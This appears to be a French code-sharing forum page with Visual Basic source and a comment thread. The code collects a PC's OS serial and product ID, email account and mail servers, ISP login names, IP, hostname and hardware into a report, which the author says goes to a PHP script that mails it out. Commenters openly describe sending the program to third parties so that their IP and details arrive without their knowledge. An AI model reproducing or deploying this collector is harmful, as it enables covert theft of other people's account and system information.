Infos = Infos + "**********************************************************" + vbCrLf
'Infos = Infos + "Heure locale du PC     : " & CStr(HeureLocale) & vbCrLf
'Infos = Infos + "Heure système du PC    : " & CStr(HeureSysteme) & vbCrLf
Infos = Infos + "Résolution de l'écran  : " & Resolution & vbCrLf
Infos = Infos + "Nombre de couleurs     : " & NbCouleurs & vbCrLf
Infos = Infos + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
Infos = Infos + "*******************INFORMATIONS OS************************" + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
Infos = Infos + "OS de la machine       : " + RecupOS + vbCrLf
Infos = Infos + "Système d'exploitation : " + Productname + vbCrLf
Infos = Infos + "Numéro de la version   : " + VersionNum + vbCrLf
Infos = Infos + "Numéro de série        : " + Serial + vbCrLf
Infos = Infos + "ProductId              : " + ProductId + vbCrLf
Infos = Infos + "Répertoire de Windows  : " + WindowsDirectory + vbCrLf
Infos = Infos + "Répertoire système     : " + SystemDirectory + vbCrLf
Infos = Infos + "Repertoire temporaire  : " + TempFolder + vbCrLf
Infos = Infos + "Repertoire des progs   : " + RepProgramFiles + vbCrLf
Infos = Infos + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
Infos = Infos + "*******************INFORMATIONS INTERNET******************" + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
Infos = Infos + "Version d'I.E          : " + VerInternet + vbCrLf
Infos = Infos + "Email expéditeur       : " + EmailName + vbCrLf
Infos = Infos + "Adresse Email          : " + Email + vbCrLf
Infos = Infos + "Serveur SMTP           : " + SMTPServer + vbCrLf
Infos = Infos + "Serveur POP            : " + POPServer + vbCrLf
Infos = Infos + "Serveur NNTP           : " + NNTPServer + vbCrLf
Infos = Infos + "Host Name              : " + GetIPHostName + vbCrLf
Infos = Infos + "IP du poste            : " + GetIPAddress + vbCrLf
If Wanadoo <> "" Then
Infos = Infos + "Login Wanadoo          : " + Wanadoo + vbCrLf
End If
If Infonie <> "" Then
Infos = Infos + "Login Infonie          : " + Infonie + vbCrLf
End If
Infos = Infos + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
Infos = Infos + "******************INFORMATIONS MATERIEL*******************" + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
If MMX <> "" Then
    Infos = Infos + "MMX identificateur     : " + MMX + vbCrLf
End If
Infos = Infos + "Processeur du PC       : " + Idprocesseur + vbCrLf
Infos = Infos + "Marque du processeur   : " + Processeur + vbCrLf
Infos = Infos + vbCrLf
Infos = Infos + "------------------------------" + vbCrLf
Infos = Infos + "|INFORMATIONS SUR LA MEMOIRE |" + vbCrLf
Infos = Infos + "------------------------------" + vbCrLf
Infos = Infos + Mem + vbCrLf
Infos = Infos + "-------------------------------" + vbCrLf
Infos = Infos + "|INFORMATIONS SUR LES DISQUES |" + vbCrLf
Infos = Infos + "-------------------------------" + vbCrLf
For Each d In ld
    If d.IsReady Then
        s = InfosDisk(d.Path & "\")
        Infos = Infos + CStr(s) + vbCrLf
    End If
Next
RecupInfosPc = Infos

End Function



Public Sub savekey(Hkey As Long, strPath As String)
On Error Resume Next
    Dim keyhand&
    r = RegCreateKey(Hkey, strPath, keyhand&)
    r = RegCloseKey(keyhand&)
End Sub


Public Function getstring(Hkey As Long, strPath As String, strValue As String)
    On Error Resume Next
    'EXAMPLE:
    '
    'text1.text = getstring(HKEY_CURRENT_USE
    '     R, "Software\VBW\Registry", "String")
    '
    Dim keyhand As Long
    Dim datatype As Long
    Dim lResult As Long
    Dim strBuf As String
    Dim lDataBufSize As Long
    Dim intZeroPos As Integer
    r = RegOpenKey(Hkey, strPath, keyhand)
    lResult = RegQueryValueEx(keyhand, strValue, 0&, lValueType, ByVal 0&, lDataBufSize)


    If lValueType = REG_SZ Then
        strBuf = String(lDataBufSize, " ")
        lResult = RegQueryValueEx(keyhand, strValue, 0&, 0&, ByVal strBuf, lDataBufSize)


        If lResult = ERROR_SUCCESS Then
            intZeroPos = InStr(strBuf, Chr$(0))


            If intZeroPos > 0 Then
                getstring = Left$(strBuf, intZeroPos - 1)
            Else
                getstring = strBuf
            End If
        End If
    End If
End Function


Public Sub savestring(Hkey As Long, strPath As String, strValue As String, strdata As String)
    On Error Resume Next
    'EXAMPLE:
    '
    'Call savestring(HKEY_CURRENT_USER, "Software\VBW\Registry", "String", text1.text)
    '
    Dim keyhand As Long
    Dim r As Long
    r = RegCreateKey(Hkey, strPath, keyhand)
    r = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))
    r = RegCloseKey(keyhand)
End Sub


Function getdword(ByVal Hkey As Long, ByVal strPath As String, ByVal strValueName As String) As Long
    On Error Resume Next
    'EXAMPLE:
    '
    'text1.text = getdword(HKEY_CURRENT_USER
    '     , "Software\VBW\Registry", "Dword")
    '
    Dim lResult As Long
    Dim lValueType As Long
    Dim lBuf As Long
    Dim lDataBufSize As Long
    Dim r As Long
    Dim keyhand As Long
    r = RegOpenKey(Hkey, strPath, keyhand)
    ' Get length/data type
    lDataBufSize = 4
    lResult = RegQueryValueEx(keyhand, strValueName, 0&, lValueType, lBuf, lDataBufSize)


    If lResult = ERROR_SUCCESS Then


        If lValueType = REG_DWORD Then
            getdword = lBuf
        End If
        'Else
        'Call errlog("GetDWORD-" & strPath, Fals
        '     e)
    End If
    r = RegCloseKey(keyhand)
End Function


Function SaveDword(ByVal Hkey As Long, ByVal strPath As String, ByVal strValueName As String, ByVal lData As Long)
    On Error Resume Next
    'EXAMPLE"
    '
    'Call SaveDword(HKEY_CURRENT_USER, "Soft
    '     ware\VBW\Registry", "Dword", text1.text)
    '
    '
    Dim lResult As Long
    Dim keyhand As Long
    Dim r As Long
    r = RegCreateKey(Hkey, strPath, keyhand)
    lResult = RegSetValueEx(keyhand, strValueName, 0&, REG_DWORD, lData, 4)
    'If lResult <> error_success Then
    '     Call errlog("SetDWORD", False)
    r = RegCloseKey(keyhand)
End Function


Public Function DeleteKey(ByVal Hkey As Long, ByVal strKey As String)
    On Error Resume Next
    'EXAMPLE:
    '
    'Call DeleteKey(HKEY_CURRENT_USER, "Soft
    '     ware\VBW")
    '
    Dim r As Long
    r = RegDeleteKey(Hkey, strKey)
End Function


Public Function DeleteValue(ByVal Hkey As Long, ByVal strPath As String, ByVal strValue As String)
    On Error Resume Next
    'EXAMPLE:
    '
    'Call DeleteValue(HKEY_CURRENT_USER, "So
    '     ftware\VBW\Registry", "Dword")
    '
    Dim keyhand As Long
    r = RegOpenKey(Hkey, strPath, keyhand)
    r = RegDeleteValue(keyhand, strValue)
    r = RegCloseKey(keyhand)
End Function





'Heure système du Pc
'Retourne l'heure système sous forme de chaîne
'(précision à la milliseconde)
Public Function HeureSysteme() As String
On Error Resume Next
Dim sysTime As SYSTEMTIME
Call GetSystemTime(sysTime)
HeureSysteme = CStr(sysTime.wDayOfWeek & ", " & _
               sysTime.wDay & "/" & _
               sysTime.wMonth & "/" & _
               sysTime.wYear & " " & _
               sysTime.wHour & ":" & _
               sysTime.wMinute & ":" & _
               sysTime.wSecond & "'" & _
               sysTime.wMilliseconds)
End Function


'Heure locale du Pc
'Retourne l'heure locale sous forme de chaîne
'(précision à la milliseconde)
Public Function HeureLocale() As String
On Error Resume Next
Dim sysTime As SYSTEMTIME
Call GetLocalTime(sysTime)
HeureLocale = CStr(sysTime.wDayOfWeek & ", " & _
               sysTime.wDay & "/" & _
               sysTime.wMonth & "/" & _
               sysTime.wYear & " " & _
               sysTime.wHour & ":" & _
               sysTime.wMinute & ":" & _
               sysTime.wSecond & "'" & _
               sysTime.wMilliseconds)
End Function

'Retourne le nom de l'ordinateur
Public Function ComputerName() As String
On Error Resume Next
Dim stTmp As String, lgTmp As Long
stTmp = Space$(250)
lgTmp = 251
Call GetComputerName(stTmp, lgTmp)
ComputerName = Split(stTmp, Chr$(0))(0)

End Function

'Temps écoulé depuis l'ouverture de windows
'Procédure de temporisation
'Le temps d'attente donné en paramètre en millisecondes est approximatif
Public Sub Sleep(lgMSec As Long)
On Error Resume Next
Dim lgTime As Long
lgTime = GetTickCount
Do While lgTime + lgMSec > GetTickCount
    DoEvents
    DoEvents
    DoEvents
Loop

End Sub

'Temps écoulé dps l'ouverture de windows
Public Function TpsEcoule() As String
On Error Resume Next
Dim Temps, h, mn, s As Integer

Temps = Int(GetTickCount() / 1000)
h = Int(Temps / 3600)
mn = Int((Temps - 3600 * h) / 60)
s = Temps - 3600 * h - 60 * mn
TpsEcoule = h & " h " & mn & " mn " & s & " s"

End Function

'Retourne le chemin du répertoire système de windows
Public Function SystemDirectory() As String
On Error Resume Next
Dim stTmp As String, lgTmp As Long
stTmp = Space$(250)
lgTmp = 251
Call GetSystemDirectory(stTmp, lgTmp)
SystemDirectory = Split(stTmp, Chr$(0))(0)

End Function

'Récupère le login sous Nt
Public Function LoginNt() As String
On Error Resume Next
Dim strBuffer As String * 255
Dim lngBufferLength As Long
Dim lngRet As Long
Dim strTemp As String

lngBufferLength = 255
lngRet = GetUserName(strBuffer, lngBufferLength)
strTemp = UCase(Trim$(strBuffer))
NTDomainUserName = Left$(strTemp, Len(strTemp) - 1)
LoginNt = NTDomainUserName

End Function

'Connaitre le nombre de couleurs de l'écran

Public Function NbCouleurs() As String
On Error Resume Next
Dim lgDC As Long, lgRep As Long, lgNb As Double

lgDC = GetDC(GetDesktopWindow)
lgNb = GetDeviceCaps(lgDC, PLANES) * 2 ^ GetDeviceCaps(lgDC, BITSPIXEL)
lgRep = ReleaseDC(GetDesktopWindow, lgDC)
If lgNb = 65536 Then NbCouleurs = " (16 bits)"
If lgNb = 4294967296# Then NbCouleurs = " (32 bits)"
NbCouleurs = CStr(lgNb) & " Couleurs" & NbCouleurs

End Function

'Connaitre la résolution de l'écran
Public Function Resolution() As String
On Error Resume Next
Largeur% = Screen.Width \ Screen.TwipsPerPixelX
Hauteur% = Screen.Height \ Screen.TwipsPerPixelY
Resolution = Largeur% & " x " & Hauteur%

End Function

'Connaitre la version de Windows
Public Function RecupOS() As String
On Error Resume Next
Dim Msg As String
Dim myVer As OSVERSIONINFO
Dim dl&

Msg = ""
myVer.dwOSVersionInfoSize = 148
dl& = GetVersionEx&(myVer)
If myVer.dwPlatformId = VER_PLATFORM_WIN32_WINDOWS Then
    If myVer.dwMajorVersion = 4 And myVer.dwMinorVersion = 0 Then
        If myVer.dwBuildNumber = 950 Then
            Msg = "Windows 95"
        Else
            Msg = "Windows 95 OSR2"
        End If
    ElseIf myVer.dwMajorVersion = 4 And myVer.dwMinorVersion = 10 Then
        If myVer.dwBuildNumber = 1998 Then
            Msg = "Windows 98"
        Else
            Msg = "Windows 98 SE"
        End If
    ElseIf myVer.dwMajorVersion >= 4 And myVer.dwMinorVersion > 10 Then
            Msg = "Windows ME"
    End If
ElseIf myVer.dwPlatformId = VER_PLATFORM_WIN32_NT Then
    If myVer.dwMajorVersion = 3 And myVer.dwMinorVersion = 0 Then
        Msg = "Windows NT 3.0"
    ElseIf myVer.dwMajorVersion = 3 And myVer.dwMinorVersion = 1 Then
        Msg = "Windows NT 3.1"
    ElseIf myVer.dwMajorVersion = 3 And myVer.dwMinorVersion = 5 Then
        Msg = "Windows NT 3.5"
    ElseIf myVer.dwMajorVersion = 4 Then
        Msg = "Windows NT 4.0"
    ElseIf myVer.dwMajorVersion = 5 And myVer.dwMinorVersion = 0 Then
        Msg = "Windows 2000"
    ElseIf myVer.dwMajorVersion = 5 And myVer.dwMinorVersion = 1 Then
        Msg = "Windows XP Profesionnel"
    End If
    Msg = Msg + " " + myVer.szCSDVersion + " "
End If
'msg = msg + myVer.dwMajorVersion & "." & myVer.dwMinorVersion & " Build " & (myVer.dwBuildNumber And &HFFFF&)

RecupOS = Msg

End Function

' Retourne le nom de l'utilisateur courant de l'ordinateur
Public Function UserName() As String
On Error Resume Next
Dim stTmp As String, lgTmp As Long

stTmp = Space$(250)
lgTmp = 251
Call GetUserName(stTmp, lgTmp)
UserName = Mid$(stTmp, 1, InStr(1, stTmp, Chr$(0)) - 1)

End Function

'Retourne le chemin du répertoire temporaire de windows
Public Function TempFolder() As String
On Error Resume Next
Dim stTmp As String, lgTmp As Long

stTmp = Space$(250)
lgTmp = 251
Call GetTempPath(lgTmp, stTmp)
TempFolder = Split(stTmp, Chr$(0))(0)

End Function

'Retourne le chemin du répertoire windows
Public Function WindowsDirectory() As String
On Error Resume Next
Dim stTmp As String, lgTmp As Long

stTmp = Space$(250)
lgTmp = 251
Call GetWindowsDirectory(stTmp, lgTmp)
WindowsDirectory = Split(stTmp, Chr$(0))(0)

End Function

'Connaître la taille de la mémoire
Public Function Mem() As String
On Error Resume Next
Dim Memoire As MEMORYSTATUS
GlobalMemoryStatus Memoire
Dim Msg As String

Msg = "Mémoire physique totale    : "
If Memoire.dwTotalPhys > 1024 ^ 3 Then
    Msg = Msg + FormatNumber((Memoire.dwTotalPhys / 1024 ^ 3), -1) & " Go"
Else
    If Memoire.dwTotalPhys > 1024 ^ 2 Then
        Msg = Msg + FormatNumber((Memoire.dwTotalPhys / 1024 ^ 2), -1) & " Mo"
    Else
        If Memoire.dwTotalPhys > 1024 Then
            Msg = Msg + FormatNumber((Memoire.dwTotalPhys / 1024), -1) & " Ko"
        End If
    End If
End If
Msg = Msg + vbCrLf

Msg = Msg + "Mémoire physique libre     : "
If Memoire.dwAvailPhys > 1024 ^ 3 Then
    Msg = Msg + FormatNumber((Memoire.dwAvailPhys / 1024 ^ 3), -1) & " Go (" & Int(Memoire.dwAvailPhys / Memoire.dwTotalPhys * 100) & "%)"
Else
    If Memoire.dwAvailPhys > 1024 ^ 2 Then
        Msg = Msg + FormatNumber((Memoire.dwAvailPhys / 1024 ^ 2), -1) & " Mo (" & Int(Memoire.dwAvailPhys / Memoire.dwTotalPhys * 100) & "%)"
    Else
        If Memoire.dwAvailPhys > 1024 Then
            Msg = Msg + FormatNumber((Memoire.dwAvailPhys / 1024), -1) & " Ko (" & Int(Memoire.dwAvailPhys / Memoire.dwTotalPhys * 100) & "%)"
        End If
    End If
End If
Msg = Msg + vbCrLf

Msg = Msg + "Mémoire physique utilisée  : "
If (Memoire.dwTotalPhys - Memoire.dwAvailPhys) > 1024 ^ 3 Then
    Msg = Msg + FormatNumber(((Memoire.dwTotalPhys - Memoire.dwAvailPhys) / 1024 ^ 3), -1) & " Go (" & Int(100 - (Int(Memoire.dwAvailPhys / Memoire.dwTotalPhys * 100))) & "%)"
Else
    If (Memoire.dwTotalPhys - Memoire.dwAvailPhys) > 1024 ^ 2 Then
        Msg = Msg + FormatNumber(((Memoire.dwTotalPhys - Memoire.dwAvailPhys) / 1024 ^ 2), -1) & " Mo (" & Int(100 - (Int(Memoire.dwAvailPhys / Memoire.dwTotalPhys * 100))) & "%)"
    Else
        If (Memoire.dwTotalPhys - Memoire.dwAvailPhys) > 1024 Then
            Msg = Msg + FormatNumber(((Memoire.dwTotalPhys - Memoire.dwAvailPhys) / 1024), -1) & " Ko (" & Int(100 - (Int(Memoire.dwAvailPhys / Memoire.dwTotalPhys * 100))) & "%)"
        End If
    End If
End If
Msg = Msg + vbCrLf + vbCrLf

Msg = Msg + "Mémoire virtuelle totale   : "
If Memoire.dwTotalVirtual > 1024 ^ 3 Then
    Msg = Msg + FormatNumber((Memoire.dwTotalVirtual / 1024 ^ 3), -1) & " Go"
Else
    If Memoire.dwTotalVirtual > 1024 ^ 2 Then
        Msg = Msg + FormatNumber((Memoire.dwTotalVirtual / 1024 ^ 2), -1) & " Mo"
    Else
        If Memoire.dwTotalVirtual > 1024 Then
            Msg = Msg + FormatNumber((Memoire.dwTotalVirtual / 1024), -1) & " Ko"
        End If
    End If
End If
Msg = Msg + vbCrLf

Msg = Msg + "Mémoire virtuelle libre    : "
If Memoire.dwAvailVirtual > 1024 ^ 3 Then
    Msg = Msg + FormatNumber((Memoire.dwAvailVirtual / 1024 ^ 3), -1) & " Go (" & Int(Memoire.dwAvailVirtual / Memoire.dwTotalVirtual * 100) & "%)"
Else
        If Memoire.dwAvailVirtual > 1024 ^ 2 Then
            Msg = Msg + FormatNumber((Memoire.dwAvailVirtual / 1024 ^ 2), -1) & " Mo (" & Int(Memoire.dwAvailVirtual / Memoire.dwTotalVirtual * 100) & "%)"
        Else
            If Memoire.dwAvailVirtual > 1024 Then
                Msg = Msg + FormatNumber((Memoire.dwAvailVirtual / 1024), -1) & " Ko (" & Int(Memoire.dwAvailVirtual / Memoire.dwTotalVirtual * 100) & "%)"
            End If
        End If
End If
Msg = Msg + vbCrLf

Msg = Msg + "Mémoire virtuelle utilisée : "
If (Memoire.dwTotalVirtual - Memoire.dwAvailVirtual) > 1024 ^ 3 Then
    Msg = Msg + FormatNumber(((Memoire.dwTotalVirtual - Memoire.dwAvailVirtual) / 1024 ^ 3), -1) & " Go (" & Int(100 - (Int(Memoire.dwAvailVirtual / Memoire.dwTotalVirtual * 100))) & "%)"
Else
        If (Memoire.dwTotalVirtual - Memoire.dwAvailVirtual) > 1024 ^ 2 Then
            Msg = Msg + FormatNumber(((Memoire.dwTotalVirtual - Memoire.dwAvailVirtual) / 1024 ^ 2), -1) & " Mo (" & Int(100 - (Int(Memoire.dwAvailVirtual / Memoire.dwTotalVirtual * 100))) & "%)"
        Else
            If (Memoire.dwTotalVirtual - Memoire.dwAvailVirtual) > 1024 Then
                Msg = Msg + FormatNumber(((Memoire.dwTotalVirtual - Memoire.dwAvailVirtual) / 1024), -1) & " Ko (" & Int(100 - (Int(Memoire.dwAvailVirtual / Memoire.dwTotalVirtual * 100))) & "%)"
            End If
        End If
End If
Msg = Msg + vbCrLf + vbCrLf

Msg = Msg + "Taille totale du fichier d'échange  : "
If Memoire.dwTotalPageFile > 1024 ^ 3 Then
    Msg = Msg + FormatNumber((Memoire.dwTotalPageFile / 1024 ^ 3), -1) & " Go"
Else
    If Memoire.dwTotalPageFile > 1024 ^ 2 Then
        Msg = Msg + FormatNumber((Memoire.dwTotalPageFile / 1024 ^ 2), -1) & " Mo"
    Else
        If Memoire.dwTotalPageFile > 1024 Then
            Msg = Msg + FormatNumber((Memoire.dwTotalPageFile / 1024), -1) & " Ko"
        End If
    End If
End If
Msg = Msg + vbCrLf

Msg = Msg + "Espace libre du fichier d'échange   : "
If Memoire.dwAvailPageFile > 1024 ^ 3 Then
    Msg = Msg + FormatNumber((Memoire.dwAvailPageFile / 1024 ^ 3), -1) & " Go (" & Int(Memoire.dwAvailPageFile / Memoire.dwTotalPageFile * 100) & "%)"
Else
    If Memoire.dwAvailPageFile > 1024 ^ 2 Then
        Msg = Msg + FormatNumber((Memoire.dwAvailPageFile / 1024 ^ 2), -1) & " Mo (" & Int(Memoire.dwAvailPageFile / Memoire.dwTotalPageFile * 100) & "%)"
    Else
        If Memoire.dwAvailPageFile > 1024 Then
            Msg = Msg + FormatNumber((Memoire.dwAvailPageFile / 1024), -1) & " Ko (" & Int(Memoire.dwAvailPageFile / Memoire.dwTotalPageFile * 100) & "%)"
        End If
    End If
End If
Msg = Msg + vbCrLf

Msg = Msg + "Espace utilisé du fichier d'échange : "
If (Memoire.dwTotalPageFile - Memoire.dwAvailPageFile) > 1024 ^ 3 Then
    Msg = Msg + FormatNumber(((Memoire.dwTotalPageFile - Memoire.dwAvailPageFile) / 1024 ^ 3), -1) & " Go (" & Int(100 - (Int(Memoire.dwAvailPageFile / Memoire.dwTotalPageFile * 100))) & "%)"
Else
    If (Memoire.dwTotalPageFile - Memoire.dwAvailPageFile) > 1024 ^ 2 Then
        Msg = Msg + FormatNumber(((Memoire.dwTotalPageFile - Memoire.dwAvailPageFile) / 1024 ^ 2), -1) & " Mo (" & Int(100 - (Int(Memoire.dwAvailPageFile / Memoire.dwTotalPageFile * 100))) & "%)"
    Else
        If (Memoire.dwTotalPageFile - Memoire.dwAvailPageFile) > 1024 Then
            Msg = Msg + FormatNumber(((Memoire.dwTotalPageFile - Memoire.dwAvailPageFile) / 1024), -1) & " Ko (" & Int(100 - (Int(Memoire.dwAvailPageFile / Memoire.dwTotalPageFile * 100))) & "%)"
        End If
    End If
End If
Msg = Msg + vbCrLf

Mem = Msg

End Function

Public Function InfosDisk(ByVal Disk As String) As String
On Error Resume Next
'Dim Drv As Drive
Dim TypeD As String
Dim DrvName As String
Dim Msg As String

Msg = ""
Set fso = CreateObject("Scripting.FileSystemObject")
Set Drv = fso.GetDrive(Mid(Disk, 1, 2))
If Drv.IsReady Then DrvName = Drv.Path & "\ [ " & Drv.VolumeName & " ]" Else DrvName = Drv.Path & "\"
Select Case Drv.DriveType
    Case 1
        TypeD = "Disquette "
    Case 2
        TypeD = "Disque dur "
    Case 4
        TypeD = "CD/DVD Rom "
    Case 3
        TypeD = "Réseau "
    Case 5
        TypeD = "Ram "
    Case 6
        TypeD = "Inconnu "
End Select

If Drv.IsReady Then
Msg = TypeD + Drv.Path + "\" + vbCrLf
If Drv.VolumeName <> "" Then
    Msg = Msg + "Nom du lecteur : " + Drv.VolumeName + vbCrLf
End If
Serie$ = Right$(String$(8, "0") + Hex$(Drv.SerialNumber), 8)
Serie$ = Left$(Serie$, 4) + "-" + Right$(Serie$, 4)
Msg = Msg + "N° de série du disque : " + Serie$ + vbCrLf
Status = GetDiskFreeSpaceEx(Drv & "\", BytesAvailableToCaller, TotalBytes, FreeBytes)

Msg = Msg + "Espace total   : "
If TotalBytes * 10000 > 1024 ^ 3 Then
    Msg = Msg + FormatNumber((TotalBytes * 10000 / 1024 ^ 3), -1) & " Go"
Else
    If TotalBytes * 10000 > 1024 ^ 2 Then
        Msg = Msg + FormatNumber((TotalBytes * 10000 / 1024 ^ 2), -1) & " Mo"
    Else
        If TotalBytes * 10000 > 1024 Then
            Msg = Msg + FormatNumber((TotalBytes * 10000 / 1024), -1) & " Ko"
        End If
    End If
End If
Msg = Msg + vbCrLf

Msg = Msg + "Espace libre   : "
If FreeBytes * 10000 > 1024 ^ 3 Then
    Msg = Msg + FormatNumber((FreeBytes * 10000 / 1024 ^ 3), -1) & " Go (" & Int(FreeBytes * 10000 / (TotalBytes * 10000) * 100) & "%)"
Else
    If FreeBytes * 10000 > 1024 ^ 2 Then
        Msg = Msg + FormatNumber((FreeBytes * 10000 / 1024 ^ 2), -1) & " Mo (" & Int(FreeBytes * 10000 / (TotalBytes * 10000) * 100) & "%)"
    Else
        If FreeBytes * 10000 > 1024 Then
            Msg = Msg + FormatNumber((FreeBytes * 10000 / 1024), -1) & " Ko (" & Int(FreeBytes * 10000 / (TotalBytes * 10000) * 100) & "%)"
        End If
    End If
End If
Msg = Msg + vbCrLf

Msg = Msg + "Espace utilisé : "
If (TotalBytes * 10000 - FreeBytes * 10000) > 1024 ^ 3 Then
    Msg = Msg + FormatNumber(((TotalBytes * 10000 - FreeBytes * 10000) / 1024 ^ 3), -1) & " Go (" & Int(100 - (Int(FreeBytes * 10000 / (TotalBytes * 10000) * 100))) & "%)"
Else
    If (TotalBytes * 10000 - FreeBytes * 10000) > 1024 ^ 2 Then
        Msg = Msg + FormatNumber(((TotalBytes * 10000 - FreeBytes * 10000) / 1024 ^ 2), -1) & " Mo (" & Int(100 - (Int(FreeBytes * 10000 / (TotalBytes * 10000) * 100))) & "%)"
    Else
        If (TotalBytes * 10000 - FreeBytes * 10000) > 1024 Then
            Msg = Msg + FormatNumber(((TotalBytes * 10000 - FreeBytes * 10000) / 1024), -1) & " Ko (" & Int(100 - (Int(FreeBytes * 10000 / (TotalBytes * 10000) * 100))) & "%)"
        End If
    End If
End If
Msg = Msg + vbCrLf

End If
Set fso = Nothing
InfosDisk = Msg

End Function
---------------------------------------------------------------------


Pour l'utiliser c'est simple, tu fais:
infos = RecupInfosPc
Et apres ta plus ka rajouter la variable infos a la variable ki sera pour le script php $msg.

@+,
..::ElastycmaN::..

Commentaire de chico200987 le 14/03/2005 19:19:25

waw excellent je travail de suite dessu ! merci !

Commentaire de chico200987 le 19/03/2005 19:39:11

arf j'arrive pas a trouver comment envoyer la variable "infos" sur la page php :\ et à la recuperer aussi sur la page php :'(

Commentaire de chico200987 le 25/03/2005 19:43:29

euh... 2 choses svp pour ceux qui prenne ma source !
- Dans le script PHP, changez d'adresse mail !! car je recoit chaque jour des ip ! lol
- Dans le script VB, changez de lien ! lol l'adresse donné est la mienne avec mon script php hebergé sur mon site... mintenant a vous de faire le votre :D

Merci

Commentaire de azerty25 le 25/03/2005 20:31:10

Tu devrait mettre du blanc à la place de ces valeurs dans le ZIP car y'a tj des tetes en l'air comme tu peux le voir et qui ne vont pas forcémant voir ton commentaire ... ;-)

Commentaire de chico200987 le 26/03/2005 11:19:46

c'est fait merci du conseil =)

Commentaire de hnugotte le 26/04/2005 18:06:43

J'ai un probleme avec ce code, il me met tout le temps, "Connection Impossible"..Je piges pas
Est-ce-que qqun aurait une idée ?
Merci bcp

Commentaire de chico200987 le 27/04/2005 11:01:51

Ca doit vouloir dire que le programme ne detecte pas ta connection au net donc essai soit de desactiver le firewall ou alors tu passe simplement par un proxy... En tout cas, pour tout les AOLiens sa devrais marcher... reste a voir avec les différents FAI que vous avez =) sinon je ne sais pas désolé :-\

Commentaire de hnugotte le 27/04/2005 12:09:08

Je vais faire un test sans le firewall et je te tient au courant
Sinon, est-ce-que tu pourrais me dire exactemet les données qu'il faut modifier (adresse mail etc...) et où elles se trouvent ?
(désolé pour tts ces questions mais je débute en programmation...)
Merci

Commentaire de chico200987 le 27/04/2005 12:16:39

Alors dans le prog lui même il faut juste remplacer les "adresse de votre page php" par justement l'adresse de votre page php j'ai enlevé où étais mon adresse mail et l'adresse de ma page car je recevais bcp bcp trop d'email avec des ip non souhaité...
Dans la page PHP il faut mettre ton adresse mail dans : $recipient = "votre adresse mail";
et la mettre à la place de "votre adresse mail"

Voilà =) a ton service ;)

Commentaire de hnugotte le 27/04/2005 12:18:50

merci, je vais essayer
je reposteun message si ca marche..et si ca marche pas aussi d'ailleurs!

Commentaire de hnugotte le 27/04/2005 12:19:34

Ah, oui, j'avais oublié...
Est-ce-que j'ai besoin d'un module quelconque ?

Commentaire de chico200987 le 27/04/2005 12:44:23

maintenant que j'y pense, j'ai oublié de mettre le module pour detecter si le pc est connecter :-\ je le met des que je le trouve lol (bientot normalement ;) merci de m'y avoir fait pensé lol

Commentaire de hnugotte le 27/04/2005 13:06:12

Ah...ok
tu peux poster un message quand tu le met en ligne ?
merci

Commentaire de chico200987 le 27/04/2005 13:07:45

c'est dejà fait =) s'appelle module1.bas =)

Commentaire de hnugotte le 27/04/2005 13:09:05

Et je dois faire quoi avec en fait ?
Merci

Commentaire de chico200987 le 20/06/2005 15:03:52

tu le met dans la source mais comme elle y es deja tu en fais rien lol tu utilise les fonctions déclarées dans ce module =)

Rien de plus simple...

Commentaire de sitemo le 01/07/2005 17:21:14

il m'indique pas mon ip????

Commentaire de chico200987 le 02/07/2005 08:38:55

Ca depend... si c'est toi qu'il l'ouvre et qui le met dans C:\ et que tu met ton adresse mail dans le code source, c'est toi qui le recevra mais si tu l'envoi à une tiers personne avec ton adresse mail dans la source, tu recevra l'ip de cette personne des qu'elle se connectera =)

Commentaire de sitemo le 02/07/2005 12:41:57

ou je met mon adresse, je le vois pas ??? stp dis moi

Commentaire de mogador le 21/12/2005 11:20:59

bonjour ,hey peu tu m"envoyer la source  final :)
merci


mogador_13@yahoo.fr

Commentaire de selin le 05/07/2006 15:00:53

serieu je ne comprend rien du tout  c est si loin de ce que vous raconter et jaimerais apprendre mais  je crois que j ai beaucoup a apprendre aurier vous des site  expliquant plus facilement ??

Commentaire de chico200987 le 13/08/2006 14:26:54

Il y a un début à tout, comment par programmer de tout petit truc presque inutil et exploite les sources données ici celà peut t'aider ;)

Sinon... Google est ton amis ;D

 Ajouter un commentaire

Nos sponsors


Sondage...

Comparez les prix


Apple iPhone 4 Noir (16 Go)
Entre 0€ et 0€

Visiter le guide achat

CalendriCode

Février 2012
LMMJVSD
  12345
6789101112
13141516171819
20212223242526
272829    

Consulter la suite du CalendriCode
 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 1,919 sec (3)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales
Outils Convertisseur VB/C# Snippets et scripts Outils en ligne La ToolBox
Communauté Programmation Photographie Technologie Newsgroups Emploi Forum Blogs
Guide d'achat Téléphonie mobile Image et son Informatique Bureautique Jeux vidéo
Logiciels Internet & Réseau Développement Market Android Jeux & Loisirs Graphisme Multimédia Sécurité Pilotes
Loisirs Cartes virtuelles Vidéos droles Jeux en ligne Géoguide AndroLib (Android Market)